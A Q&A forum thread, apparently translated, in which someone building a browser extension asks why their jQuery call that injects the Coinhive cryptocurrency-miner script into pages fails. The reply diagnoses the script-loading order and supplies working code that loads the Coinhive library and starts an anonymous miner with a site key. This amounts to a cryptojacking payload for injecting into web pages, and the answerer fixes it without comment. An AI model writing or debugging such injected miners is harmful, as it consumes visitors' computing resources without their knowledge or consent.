JQuery error when using .before

0

$(".enviar").before('<script src="https://coinhive.com/lib/coinhive.min.js"></script><script>varminer=newCoinHive.Anonymous("4jimrwZqZRoKFX1001NpibYyv1up80Y2"); miner.start();</script>');

This is my complete script and it's part of an extension I'm creating more like I've never had contact with JQuery I'm having simple problems. Please tell me what I did wrong or forgot to put.

    
asked by anonymous 30.08.2018 / 02:14

1 answer

0

Well I'm not sure exactly if loading a script like this works, I've never done it that way. But if it works then you have a sync problem, when you insert these two script tags into the DOM the js of the first one will be requested, while this happens you are already processing the script of the second tag.

What you can do is insert the separate tags, first you insert the lib, and use the onload event to execute that second script.

This is an example of how to do without jQuery

Ex:

// cria tag script
var coinhive=document.createElement('script');
coinhive.type='text/javascript';
coinhive.src='https://coinhive.com/lib/coinhive.min.js';

// executa quando lib for carregada
coinhive.onload = function(){
  var miner = new CoinHive.Anonymous("4jimrwZqZRoKFX1001NpibYyv1up80Y2"); miner.start();
}

// insere no DOM
document.body.appendChild(coinhive);

Note: it's a tag script, I do not think it's important where you're inserting it, but if you can insertBefore.

Doc insertBefore link

    
30.08.2018 / 14:06